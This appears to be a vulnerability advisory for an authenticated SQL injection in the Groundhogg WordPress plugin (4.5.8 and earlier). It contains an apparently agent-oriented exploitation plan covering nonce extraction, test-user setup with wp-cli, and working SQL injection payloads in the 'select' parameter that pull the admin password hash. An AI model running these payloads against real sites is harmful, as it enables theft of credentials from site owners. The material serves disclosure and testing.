Groundhogg <= 4.5.8 - Authenticated (Custom+) SQL Injection via 'select' Parameter
Description
The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to generic SQL Injection via the 'select' parameter in all versions up to, and including, 4.5.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the attacker to hold a Groundhogg custom role with the view_contacts capability, which is granted by default to several built-in Groundhogg roles above the base subscriber level.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.5.9
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-14029 - Groundhogg SQL Injection ## 1. Vulnerability Summary The **Groundhogg** plugin (<= 4.5.8) is vulnerable to an authenticated SQL injection via the `select` parameter. The vulnerability exists within the `Groundhogg\DB\Query\Query` class, which handles t…
Show full research plan
Exploitation Research Plan: CVE-2026-14029 - Groundhogg SQL Injection
1. Vulnerability Summary
The Groundhogg plugin (<= 4.5.8) is vulnerable to an authenticated SQL injection via the select parameter. The vulnerability exists within the Groundhogg\DB\Query\Query class, which handles the construction of SQL statements for various database objects, most notably contacts. The set_query_params method fails to sufficiently sanitize entries in the select parameter, allowing an attacker to inject subqueries or manipulate the SELECT clause of the final SQL statement.
2. Attack Vector Analysis
- Endpoint: WordPress REST API (v3 and v4).
- Vulnerable Routes:
GET /wp-json/gh/v3/contactsGET /wp-json/gh/v4/contacts
- Vulnerable Parameter:
select - Authentication Required: Authenticated user with the
view_contactscapability. - Preconditions: Groundhogg roles such as Marketer, Sales Manager, or any custom role with
view_contactsmust be assigned to the user. By default, these roles are available in the plugin.
3. Code Flow
- Entry Point: An authenticated user calls the REST API route
GET /wp-json/gh/v3/contacts?select=.... - API Handler: In
api/v3/contacts-api.php, theget_contactsmethod (orreadin v4) is triggered. - Query Initialization: The API handler instantiates
Groundhogg\Contact_Query(which extendsGroundhogg\DB\Query\Table_Query->Groundhogg\DB\Query\Query). - Parameter Processing: The REST request parameters are passed to
$query->set_query_params( $params )(defined indb/query/query.php). - Vulnerable Sink:
// db/query/query.php case 'select': if ( ! is_array( $value ) ) { $value = array_map( 'trim', explode( ',', $value ) ); } $this->setSelect( ...$value ); // Columns are stored for the SELECT clause break; - Query Execution: When the query is executed via
$wpdb->get_results(), the strings in the$selectarray are joined into theSELECTstatement. Becausemaybe_sanitize_aggregate_columnorsanitize_columnare either bypassed or insufficient, an attacker can inject a subquery.
4. Nonce Acquisition Strategy
To interact with the WordPress REST API via cookie-based authentication, a _wpnonce is required in the X-WP-Nonce header.
- Login: The agent must first log in as a user with Groundhogg permissions (e.g.,
marketer). - Navigate: Use
browser_navigateto the WordPress dashboard (/wp-admin/). - Extract: Execute
browser_evalto extract the REST nonce from the globalwpApiSettingsobject injected by WordPress.// Execution command browser_eval("window.wpApiSettings?.nonce") - Usage: Include the returned string in the
X-WP-Nonceheader for subsequent REST API requests.
5. Exploitation Strategy
The goal is to extract the admin password hash from the wp_users table using a subquery within the select list.
Step 1: Discover Column Names
The contacts table typically has columns like email, first_name, last_name. We will add our payload to the list of columns to be selected.
Step 2: Perform Data Extraction
We will request the contacts but force the database to include the result of a subquery in the response.
- Request Tool:
http_request - Method:
GET - URL:
/wp-json/gh/v3/contacts - Query Params:
select:email,(SELECT+user_pass+FROM+wp_users+WHERE+ID=1)+as+password
- Headers:
X-WP-Nonce:[EXTRACTED_NONCE]Content-Type:application/json
Step 3: Expected Response
The response should be a JSON array of contact objects. Each object will contain the standard email field and a new field named password containing the admin's MD5/phpass hash.
6. Test Data Setup
Before exploitation, ensure the environment is prepared:
- Activate Plugin: Ensure Groundhogg is active.
- Create Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Assign Groundhogg Role: Groundhogg roles are often stored as custom capabilities or mapped to WP roles. For this test, assign the
view_contactscapability directly:wp cap add subscriber view_contacts - Create a Contact: At least one contact must exist for the query to return results.
wp gh contact create --email="test-contact@example.com" --first_name="Test" --last_name="User"
7. Expected Results
- Success: The REST API returns a status
200 OK. - Payload Reflection: The JSON response body contains:
[ { "email": "test-contact@example.com", "password": "$P$B..." } ] - Failure: A
400error or a response where thepasswordkey is missing or contains literal SQL text (indicating thesanitize_columnfunction successfully stripped the subquery).
8. Verification Steps
- Retrieve Admin Hash via CLI:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" --skip-column-names - Compare: Verify that the hash returned by the REST API exploit matches the hash obtained directly from the database.
9. Alternative Approaches
If the select parameter is filtered or the REST API rejects the subquery syntax:
- Error-Based Injection: Use the
selectparameter to trigger a MySQL error that leaks data (e.g.,select=email,extractvalue(1,concat(0x7e,(select+user_login+from+wp_users+limit+1)))). - v4 API: Try the same payload against
/wp-json/gh/v4/contacts. - Table View: Attempt to trigger the injection via the admin UI's contact table by manipulating the
orderbyororderparameters, which also pass through theQueryclass logic inadmin/contacts/tables/contacts-table.php.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.